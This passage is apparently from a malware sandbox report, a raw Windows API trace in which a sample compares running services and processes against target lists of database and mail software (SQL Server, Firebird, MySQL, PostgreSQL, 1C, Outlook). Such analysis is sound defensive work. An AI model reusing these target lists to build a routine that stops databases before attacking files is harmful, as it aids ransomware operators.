(lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0045.489] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0045.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0045.489] lstrlenW (lpString="gpsvc") returned 5 [0045.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0045.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0045.489] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0045.489] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0045.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0045.489] lstrlenW (lpString="iphlpsvc") returned 8 [0045.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0045.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0045.489] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0045.489] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0045.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0045.489] lstrlenW (lpString="LanmanServer") returned 12 [0045.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0045.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0045.489] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0045.489] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0045.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0045.489] lstrlenW (lpString="LanmanWorkstation") returned 17 [0045.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0045.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0045.489] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0045.489] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0045.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0045.490] lstrlenW (lpString="lmhosts") returned 7 [0045.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0045.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0045.490] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0045.490] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0045.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0045.490] lstrlenW (lpString="MMCSS") returned 5 [0045.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0045.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0045.490] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0045.490] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0045.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0045.490] lstrlenW (lpString="MpsSvc") returned 6 [0045.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0045.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0045.490] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0045.490] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0045.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0045.490] lstrlenW (lpString="Netman") returned 6 [0045.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0045.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0045.491] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0045.491] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0045.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0045.491] lstrlenW (lpString="netprofm") returned 8 [0045.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0045.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0045.491] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0045.491] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0045.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0045.491] lstrlenW (lpString="NlaSvc") returned 6 [0045.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0045.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0045.491] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0045.491] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0045.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0045.491] lstrlenW (lpString="nsi") returned 3 [0045.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0045.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0045.491] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0045.491] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0045.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0045.491] lstrlenW (lpString="PcaSvc") returned 6 [0045.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0045.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0045.492] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0045.492] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0045.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0045.492] lstrlenW (lpString="PlugPlay") returned 8 [0045.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0045.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0045.492] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0045.492] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0045.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0045.492] lstrlenW (lpString="Power") returned 5 [0045.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0045.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0045.492] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0045.492] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0045.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0045.492] lstrlenW (lpString="ProfSvc") returned 7 [0045.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0045.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0045.492] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0045.492] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0045.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0045.492] lstrlenW (lpString="RpcEptMapper") returned 12 [0045.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0045.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0045.492] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0045.493] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0045.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0045.493] lstrlenW (lpString="RpcSs") returned 5 [0045.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0045.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0045.493] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0045.493] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0045.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0045.493] lstrlenW (lpString="SamSs") returned 5 [0045.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0045.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0045.493] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0045.493] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0045.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0045.493] lstrlenW (lpString="Schedule") returned 8 [0045.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0045.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0045.493] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0045.493] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0045.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0045.493] lstrlenW (lpString="SENS") returned 4 [0045.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0045.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0045.493] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0045.493] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0045.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0045.494] lstrlenW (lpString="ShellHWDetection") returned 16 [0045.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0045.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0045.494] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0045.494] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0045.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0045.494] lstrlenW (lpString="Spooler") returned 7 [0045.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0045.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0045.494] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0045.494] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0045.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0045.494] lstrlenW (lpString="swprv") returned 5 [0045.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0045.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0045.494] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0045.494] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0045.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0045.494] lstrlenW (lpString="SysMain") returned 7 [0045.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0045.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0045.494] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0045.494] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0045.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0045.494] lstrlenW (lpString="Themes") returned 6 [0045.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0045.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0045.495] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0045.495] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0045.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0045.495] lstrlenW (lpString="TrkWks") returned 6 [0045.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0045.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0045.495] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0045.495] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0045.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0045.495] lstrlenW (lpString="UxSms") returned 5 [0045.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0045.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0045.495] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0045.495] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0045.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0045.495] lstrlenW (lpString="VSS") returned 3 [0045.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0045.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0045.495] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0045.495] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0045.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0045.495] lstrlenW (lpString="WdiServiceHost") returned 14 [0045.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0045.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0045.496] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0045.496] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0045.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0045.496] lstrlenW (lpString="WdiSystemHost") returned 13 [0045.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0045.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0045.496] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0045.496] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0045.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0045.496] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0045.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0045.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0045.496] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0045.496] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0045.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0045.496] lstrlenW (lpString="Winmgmt") returned 7 [0045.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0045.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0045.496] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0045.496] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0045.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0045.496] lstrlenW (lpString="WPDBusEnum") returned 10 [0045.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0045.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0045.496] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0045.496] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0045.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0045.497] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x63e068 | out: hHeap=0x5f0000) returned 1 [0045.497] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x17c [0045.499] Process32FirstW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0045.500] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0045.501] lstrlenW (lpString="System") returned 6 [0045.501] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0045.501] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0045.501] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0045.501] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0045.501] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0045.501] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0045.501] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0045.501] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0045.502] lstrlenW (lpString="smss.exe") returned 8 [0045.502] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0045.502] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0045.502] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0045.502] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0045.502] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0045.502] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0045.502] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0045.502] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0045.503] lstrlenW (lpString="csrss.exe") returned 9 [0045.503] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0045.503] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0045.503] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0045.503] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0045.503] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0045.503] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0045.503] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0045.503] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0045.504] lstrlenW (lpString="wininit.exe") returned 11 [0045.504] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0045.504] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0045.504] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0045.505] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0045.506] lstrlenW (lpString="csrss.exe") returned 9 [0045.506] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0045.507] lstrlenW (lpString="winlogon.exe") returned 12 [0045.507] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0045.508] lstrlenW (lpString="services.exe") returned 12 [0045.508] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0045.509] lstrlenW (lpString="lsass.exe") returned 9 [0045.509] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0045.510] lstrlenW (lpString="lsm.exe") returned 7 [0045.510] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.511] lstrlenW (lpString="svchost.exe") returned 11 [0045.511] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.511] lstrlenW (lpString="svchost.exe") returned 11 [0045.512] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.512] lstrlenW (lpString="svchost.exe") returned 11 [0045.512] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.513] lstrlenW (lpString="svchost.exe") returned 11 [0045.513] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.519] lstrlenW (lpString="svchost.exe") returned 11 [0045.519] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0045.520] lstrlenW (lpString="audiodg.exe") returned 11 [0045.520] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.524] lstrlenW (lpString="svchost.exe") returned 11 [0045.524] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.525] lstrlenW (lpString="svchost.exe") returned 11 [0045.525] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0045.526] lstrlenW (lpString="dwm.exe") returned 7 [0045.526] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0045.527] lstrlenW (lpString="explorer.exe") returned 12 [0045.527] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0045.528] lstrlenW (lpString="spoolsv.exe") returned 11 [0045.528] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0045.529] lstrlenW (lpString="taskhost.exe") returned 12 [0045.529] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.530] lstrlenW (lpString="svchost.exe") returned 11 [0045.530] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0045.531] lstrlenW 